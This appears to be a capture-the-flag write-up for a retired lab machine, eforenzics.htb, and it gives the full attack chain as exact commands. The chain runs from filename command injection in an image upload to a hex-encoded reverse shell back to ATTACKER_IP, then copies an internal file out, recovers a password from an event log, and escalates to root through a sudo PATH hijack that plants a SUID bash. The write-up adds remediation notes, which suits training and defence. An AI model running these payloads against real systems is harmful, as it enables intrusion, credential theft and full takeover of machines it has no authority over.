Investigation
Summary
I scanned the target and found a single Apache web server hosting an image-forensics site at the virtual host eforenzics.htb. The site accepted image uploads and displayed ExifTool metadata analysis results; the upload handler passed the multipart filename field unsanitised into a shell command, so embedding shell metacharacters in the filename triggered remote code execution as the web-server process. From that foothold I found a Windows Security event log archived in an Outlook .msg file sitting in an internal investigation directory readable by the web process.
Extracting and parsing that log surfaced a plaintext password that had been accidentally typed into a Windows username field and captured verbatim in the log. Those credentials authenticated over SSH as local user smorton. Checking sudo privileges revealed the account could run a custom root-owned binary without a password.
Inspecting the binary with strings showed it calls sendmail via an unqualified (relative) path; planting a malicious sendmail script in /tmp and prepending /tmp to PATH before the sudo call caused the binary to execute my own code as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan; confirms only ports 22 and 80 are open.
$ nmap -Pn -p- --min-rate 2500 -T4 $TARGET
22/tcp open ssh
80/tcp open http Apache 2.4.41Add the discovered vhost to local DNS resolution.
$ echo "$TARGET eforenzics.htb" | sudo tee -a /etc/hostsConfirm the redirect to eforenzics.htb.
$ curl -sS -I http://$TARGET/Exact commands 3
Locate the upload form and confirm the POST action points to upload.php.
$ curl -sS http://eforenzics.htb/service.htmlUpload a benign image; note the returned path to the analysis results file.
$ curl -sS -F 'image=@/tmp/test.jpg;type=image/jpeg' -F 'upload=Upload' http://eforenzics.htb/upload.phpRead the ExifTool output to confirm the backend and infer its invocation pattern.
$ curl -sS http://eforenzics.htb/analysed_images/test.txtExact commands 2
Start a listener on the attack host before uploading the payload.
$ nc -lvnp 4445Replace $ATTACKER_IP with your tun0 address. The pipe character in the filename causes the shell to execute the decoded payload server-side.
$ CMD='bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4445 0>&1"'; HEX=$(printf %s "$CMD" | xxd -p -c 256); FNAME="echo ${HEX}|xxd -r -p|bash|"; curl -sS -F "image=@/tmp/tiny.jpg;type=image/jpeg;filename=${FNAME}" -F 'upload=Upload' http://eforenzics.htb/upload.phpFixSanitise the upload filename before passing it to any shell commandCritical
Exact commands 3
Run from the www-data reverse shell; surfaces the .msg artifact.
$ find /usr/local -type f 2>/dev/nullStage the file to a web-accessible path for exfiltration.
$ cp '/usr/local/investigation/Windows Event Logs for Analysis.msg' /var/www/html/analysed_images/winlogs.msgDownload the artifact to the attack host.
$ curl -sS http://eforenzics.htb/analysed_images/winlogs.msg -o winlogs.msgFixRemove investigation artifacts from directories accessible to the web-server processHigh
Exact commands 4
Unpack the Outlook .msg container on the attack host.
$ 7z x -oextract winlogs.msgExtract the nested zip attachment to obtain security.evtx.
$ cp 'extract/__attach_version1.0_#00000000/__substg1.0_37010102' logs.zip && 7z x -ologs logs.zipConvert the binary EVTX to searchable XML (requires libevtx-utils: sudo apt-get install -y libevtx-utils).
$ evtxexport -f xml logs/security.evtx > security.xmlSurface non-system account names; the mis-keyed password appears as a TargetUserName value.
$ grep -aE 'TargetUserName|SubjectUserName' security.xml | grep -v 'SYSTEM\|LOCAL\|ANONYMOUS\|NETWORK'Exact commands 3
Password: $PASSWORD — authenticates immediately; no further brute-force required.
$ ssh smorton@$TARGETReads the user flag: <user.txt>.
$ cat /home/smorton/user.txtEnumerate sudo privileges; reveals the NOPASSWD rule for /usr/bin/binary.
$ sudo -lFixAssign unique, randomly generated passwords to every local accountHigh
Exact commands 6
Inspect for unqualified command references; 'sendmail' appears without an absolute path.
$ strings /usr/bin/binaryConfirm the binary is dynamically linked and identify shared library dependencies.
$ ldd /usr/bin/binaryPlant a malicious sendmail script that sets the SUID bit on /bin/bash when executed as root.
$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/sendmail && chmod +x /tmp/sendmailRun the binary as root; it resolves sendmail to /tmp/sendmail and executes my script.
$ sudo PATH=/tmp:$PATH /usr/bin/binaryDrop into a root-effective shell via the newly set SUID bit.
$ /bin/bash -pReads the root flag: <root.txt>.
$ cat /root/root.txtFixRemove or harden the unrestricted sudo rule for /usr/bin/binaryCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.